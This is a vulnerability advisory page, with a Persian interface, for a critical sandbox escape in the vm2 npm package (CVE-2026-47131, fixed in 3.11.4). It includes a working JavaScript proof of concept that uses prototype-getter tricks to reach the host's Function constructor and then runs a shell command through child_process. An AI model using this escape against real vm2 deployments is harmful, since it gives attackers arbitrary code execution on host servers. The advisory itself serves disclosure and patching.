همهٔ گزارش‌ها
بحرانی

vm2 has a Sandbox Escape issue

متن اصلی

نسخه‌های متأثر

npmvm2
نسخه‌های متأثر
<= 3.11.3
نسخهٔ اصلاح‌شده
3.11.4

بهره‌برداری

CVE-2026-47131

احتمال بهره‌برداری در ۳۰ روز آینده: 0.76%

FIRST EPSS · ۱۴۰۵/۰۸/۲۷

شرح آسیب‌پذیری

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC
"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);
Impact

Sandbox Escape → RCE

پیوندها

گزارش‌دهندگان

  • cookesan